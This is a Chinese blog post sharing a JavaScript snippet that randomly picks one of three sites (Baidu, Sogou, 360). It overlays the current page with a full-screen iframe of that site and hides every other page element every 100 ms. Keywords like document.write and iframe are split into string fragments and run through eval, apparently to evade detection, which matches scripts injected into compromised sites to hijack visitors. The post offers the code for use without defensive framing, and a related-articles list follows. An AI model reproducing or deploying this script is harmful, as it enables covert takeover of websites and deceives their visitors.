随机iframe框架跳转的js代码
- 作者: 五速梦信息网
- 时间: 2026年03月19日 18:01
随机iframe框架跳转的js代码
var m = 3;//几个事件
var n = Math.floor(Math.random() * m + 1); //随机选取事件
switch (n) {
case 1://事件一:iframe框架跳转
a = 'http://www.baidu.com';
var ss = '<div><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com"></div>html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch(e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children[i].tagName;
var b = document.body.children[i].id;
if (b != "iconDiv1" && b != "showcloneshengxiaon") {
document.body.children[i].style.display = "non" + "e"
}
} catch(e) {}
}
},
100)
} catch(e) {}
break;
case 2://事件二:iframe框架跳转
a = 'http://www.sougou.com';
var ss = '<div><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.sougou.com"></div>html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch(e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children[i].tagName;
var b = document.body.children[i].id;
if (b != "iconDiv1" && b != "showcloneshengxiaon") {
document.body.children[i].style.display = "non" + "e"
}
} catch(e) {}
}
},
100)
} catch(e) {}
break;
case 3://事件三:iframe框架跳转
a = 'http://www.360.com';
var ss = '<div><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.360.com"></div>html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setInterval(function() {
try {
document.getElementById("div" + "All").style.display = "no" + "ne"
} catch(e) {}
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children[i].tagName;
var b = document.body.children[i].id;
if (b != "iconDiv1" && b != "showcloneshengxiaon") {
document.body.children[i].style.display = "non" + "e"
}
} catch(e) {}
}
},
100)
} catch(e) {}
break;
}
相关文章
-
QtScrcpy可以通过USB(或通过TCP/IP)连接Android设备
QtScrcpy可以通过USB(或通过TCP/IP)连接Android设备
- 技术栈
- 2026年03月19日
-
在线文档知识库管理工具 [zyplayer
在线文档知识库管理工具 [zyplayer
- 技术栈
- 2026年03月19日
-
Javascript以防止点击劫持
Javascript以防止点击劫持
- 技术栈
- 2026年03月19日
-
用php实现一个敏感词过滤功能
用php实现一个敏感词过滤功能
- 技术栈
- 2026年03月19日
-
HTML5学习之FileReader接口
HTML5学习之FileReader接口
- 技术栈
- 2026年03月19日
-
10分钟掌握Linux vi编辑器常见命令的使用,最简单的vi编辑器教程
10分钟掌握Linux vi编辑器常见命令的使用,最简单的vi编辑器教程
- 技术栈
- 2026年03月19日
